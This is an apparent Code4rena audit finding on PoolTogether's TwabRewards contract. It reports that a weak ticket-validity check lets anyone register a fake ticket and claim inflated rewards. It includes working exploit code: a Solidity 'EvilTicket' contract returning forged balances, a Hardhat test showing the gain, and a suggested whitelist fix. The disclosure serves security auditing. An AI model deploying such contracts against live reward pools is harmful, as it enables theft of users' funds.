Lucene search

K
code423n4Code4renaCODE423N4:2021-12-POOLTOGETHER-FINDINGS-ISSUES-78
HistoryDec 12, 2021 - 12:00 a.m.

Can drain any promotion rewards with a evil ticket

2021-12-1200:00:00
Code4rena
github.com
5

Handle

gzeon

Vulnerability details

Impact

TwabRewards check legitimacy of ticket by checking if the ticket have a controller() method.

<https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L230&gt;

    function _requireTicket(address _ticket) internal view {
        require(_ticket != address(0), "TwabRewards/ticket-not-zero-address");

        (bool succeeded, bytes memory data) = address(_ticket).staticcall(
            abi.encodePacked(ITicket(_ticket).controller.selector)
        );

        address controllerAddress;

        if (data.length &gt; 0) {
            controllerAddress = abi.decode(data, (address));
        }

        require(succeeded && controllerAddress != address(0), "TwabRewards/invalid-ticket");
    }

This allow attacker to deploy a evil ticket contract that return arbitrary getAverageBalanceBetween and getAverageTotalSuppliesBetween to drain the contract

Proof of Concept

Let’s consider a simple EvilTicket contract

// SPDX-License-Identifier: GPL-3.0

pragma solidity 0.8.6;

contract EvilTicket {

    address public immutable controller;
    constructor(){
        controller = address(1);
    }

    function _getAverageBalancesBetween(uint64[] memory _startTimes) internal view returns (uint256[] memory) {
        uint256 startTimesLength = _startTimes.length;
        uint256[] memory averageBalances = new uint256[](startTimesLength);
        for (uint256 i = 0; i &lt; startTimesLength; i++) {
            averageBalances[i] = 1;
        }

        return averageBalances;
    }

    function getAverageTotalSuppliesBetween(
        uint64[] calldata _startTimes,
        uint64[] calldata _endTimes
    ) external view returns (uint256[] memory) {
        return _getAverageBalancesBetween(_startTimes);
    }

    function getAverageBalanceBetween(
        address _user,
        uint64 _startTime,
        uint64 _endTime
    ) external view returns (uint256) {
        return 8;
    }

}

that have a controller immutable, always return 1s for getAverageTotalSuppliesBetween and 8 for getAverageBalanceBetween

Since the reward calculation is as follow:

return (_promotion.tokensPerEpoch * _averageBalance) / _averageTotalSupplies[0];

Attacker can create a reward pointing to EvilTicket, which allow him to earn _promotion.tokensPerEpoch * 8 per epoch, POC follows:

        it.only('should not be able to earn from evil promotion', async () =&gt; {
            const promotionId = 1;
            const epochIds = ['0','1','2'];

            const wallet2Amount = toWei('750');
            const wallet3Amount = toWei('250');

            const totalAmount = wallet2Amount.add(wallet3Amount);

            const wallet2ShareOfTickets = wallet2Amount.mul(100).div(totalAmount);
            const wallet2RewardAmount = wallet2ShareOfTickets.mul(tokensPerEpoch).div(100);
            const wallet2TotalRewardsAmount = wallet2RewardAmount.mul(3);

            await ticket.mint(wallet2.address, wallet2Amount);
            await ticket.connect(wallet2).delegate(wallet2.address);
            await ticket.mint(wallet3.address, wallet3Amount);
            await ticket.connect(wallet3).delegate(wallet3.address);

            await createPromotion(ticket.address);


            const evilTicketFactory = await getContractFactory('EvilTicket');
            const evilTicket = await evilTicketFactory.deploy();
            await rewardToken.mint(wallet2.address, 1);
            await rewardToken.connect(wallet2).approve(twabRewards.address, 1);
            await twabRewards.connect(wallet2).createPromotion(
                evilTicket.address,
                rewardToken.address,
                1,
                createPromotionTimestamp,
                1,
                1,
            );

            await increaseTime(epochDuration * 3);

            await expect(twabRewards.claimRewards(wallet2.address, promotionId, epochIds))
                .to.emit(twabRewards, 'RewardsClaimed')
                .withArgs(promotionId, epochIds, wallet2.address, wallet2TotalRewardsAmount);

            await twabRewards.claimRewards(wallet2.address, promotionId+1, [0]);

            expect(await rewardToken.balanceOf(wallet2.address)).to.lte(
                wallet2TotalRewardsAmount.add(1),
            );
        });

> TwabRewards
claimRewards()
should not be able to earn from evil promotion:
AssertionError: Expected β€œ22500000000000000000008” to be less than or equal 22500000000000000000001

You can see wallet2 gained 8 wei with 1 wei investment. This can be easily optimized to drain all rewards. Also note that this exploit works with normal _epochId values.

Tools Used

Hardhat with test case in
<https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/test/TwabRewards.test.ts&gt;

Recommended Mitigation Steps

Store the legitimate controller address in the contract and use that to maintain a whitelist to check if the supplied ticket is legitimate.


The text was updated successfully, but these errors were encountered:

All reactions